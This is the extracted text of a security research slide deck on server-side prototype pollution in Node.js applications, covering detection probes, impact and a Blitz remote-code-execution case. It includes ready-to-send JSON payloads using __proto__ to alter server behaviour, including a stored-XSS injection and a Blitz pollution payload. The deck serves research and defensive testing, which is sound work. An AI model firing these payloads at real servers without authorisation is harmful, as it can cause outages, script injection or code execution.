Server Side Prototype Pollution
Server Side Prototype Pollution
GARETH HEYES
About me
● I love JavaScript
● I work for PortSwigger as a researcher
● I like to do crazy things
○ 3D CSS world without any JavaScript:
garethheyes.co.uk
○ JSReg: Sandbox JavaScript with regular
expressions
● I've written a book on JavaScript:
○ JavaScript for hackers
○ leanpub.com/javascriptforhackers/
Outline
● Introduction
○ Prototypes and pollution
○ The DoS Problem
● Detection methods
○ Detection methods that cause DoS
○ Safe detection methods for manual testers
○ Safe automated detection methods
○ Asynchronous payloads
● Detecting JavaScript engines & leaking code
● Open source tool & free Academy labs
● Preventing prototype pollution
● Takeaways
Introduction
Introduction to prototype pollution
Object.prototype.c=3;
console.log(obj.c);//3
Prototype chain
null
Object.prototype
_.merge(userDetails, req.body);
User controlled
usually via JSON
Recursive merge function
//..
if (isObject(srcValue)) {
stack || (stack = new Stack);
baseMergeDeep(object, source, key, srcIndex,
baseMerge, customizer, stack);
}
//...
Impact
{"__proto__":
Connection reset
{"encoding":"x"}}
Object.keys breaks the application
Before
{"foo":"bar"} HTTP/1.1 200 OK
Probe
{"constructor":{"keys":"x"}}
After
{"__proto__":{"expect":1337}}
After
{} HTTP/1.1 417
Tracing a property: expect
Object.defineProperty(
Object.prototype, 'expect', {
get(){
console.trace("Expect!!!");
return 1337
}
});
Stored XSS via prototype pollution
Before
HTTP/1.1 200 OK
{} Content-Type:application/json
{}
Probe
{"__proto__":{"_body":true,"body":"<script>evil()"}}
After
HTTP/1.1 200 OK
{} Content-Type:text/html
<script>evil()...
Detection methods
Goals
After
HTTP/1.1 200 OK
?foo.bar=baz
foo=[object Object]
Change the charset of a JSON response
Before
HTTP/1.1 200 OK
{"foo":"+AGIAYQBy-"}
{"foo":"+AGIAYQBy-"}
Probe
{"__proto__":{"content-type":
"application/json; charset=utf-7"}}
After
HTTP/1.1 200 OK
{"foo":"+AGIAYQBy-"}
{"foo":"bar"}
Investigating the charset technique
return (contentType.parse(req).parameters.charset || '').toLowerCase()
IncomingMessage.prototype._addHeaderLine = _addHeaderLine;
function _addHeaderLine(field, value, dest) {
field = matchKnownFields(field);
const flag = StringPrototypeCharCodeAt(field, 0);
if (flag === 0 || flag === 2) {
//...
} else if (dest[field] === undefined) {
// Drop duplicates
dest[field] = value;
}
}
Safe automated detection methods
Change the padding of a JSON response
Before
HTTP/1.1 200 OK
{"foo":"bar"}
{"foo":"bar"}
Probe
{"__proto__":{"json spaces":" "}}
After
{
{"foo":"bar"} "foo": "bar"
}
Modify CORS header responses
Before
HTTP/1.1 200 OK
{}
{}
Probe
{"__proto__":{"exposedHeaders":["foo"]}}
After
HTTP/1.1 200 OK
{} Access-Control-Expose-Headers: foo
{}
Change the status code
Before
{,} HTTP/1.1 400
Probe
{"__proto__":{"status":510}}
After
HTTP/1.1 200 OK
{"__proto__x":"d5a347a2"}
{"__proto__x":"d5a347a2"}
After
HTTP/1.1 200 OK
{}
{"__proto__x":"..."}
Excluded properties from JSON responses
Probe
{
"__proto__":{
"a":"test1"
HTTP/1.1 200 OK
},
{"b":"test3"}
"a":"test2",
"b":"test3"
}
RCE in Blitz via prototype pollution
https://blog.sonarsource.com/blitzjs-prototype-pollution/
How prototype Blitz JSON works
{
"meta": {
"params": {
"referentialEqualities": {
"brands.0": ["products.0.brand"]
}},
"json": {
"brands": [{"name":"brand name"}],
"products": [{"name":"product", "brand": null}]
}
Triggering prototype pollution in Blitz
{
"meta": {
"params": {
"referentialEqualities": {
"products.0.brand.name": ["__proto__.targetKey"]
}},
"json": {
"products": [{"brand":{"name":"targetValue"}}]
},
Generic prototype pollution detection in Blitz
{
"meta": {
"params": {
"referentialEqualities": {
"products.0.brand.name": ["__proto__.__proto__"]
}},
"json": {
"products":
HTTP/1.1 [{"brand":{"name":{}}}]
500 Internal Server Error
{"message":"Immutable prototype object cannot have their prototype
},
set"}}
A generic prototype pollution technique
Using __proto__.__proto__
● Generically detect prototype pollution
● Assigning with an object will throw a type error exception
● Assigning with null or primitive will not
● We can use this difference as a generic detection method
Asynchronous payloads
Node sinks
const { exec } = require('child_process');
let proc = exec('ls');
Interesting questions
● What would happen if you use JS properties in param
names/values
● Can you detect the engine?
● Can you leak code?
Leaking code
GET / HTTP/2
Host: creative.adobe.com
Cookie: creative-cloud-loc=constructor
HTTP/1.1 200 OK
Set-cookie: creative-cloud-language=function
Object(){[native code]}; ...
Detecting JavaScript engines
Detection methods
● You can detect the Rhino JavaScript engine using toSource
or __iterator__ properties
● To detect JavaScript use the following properties: toString,
valueOf, hasOwnProperty
● If an application allows __lookupSetter__ & not toSource it's
probably V8
Open source tool & Web Security
Academy
Open source tool
@garethheyes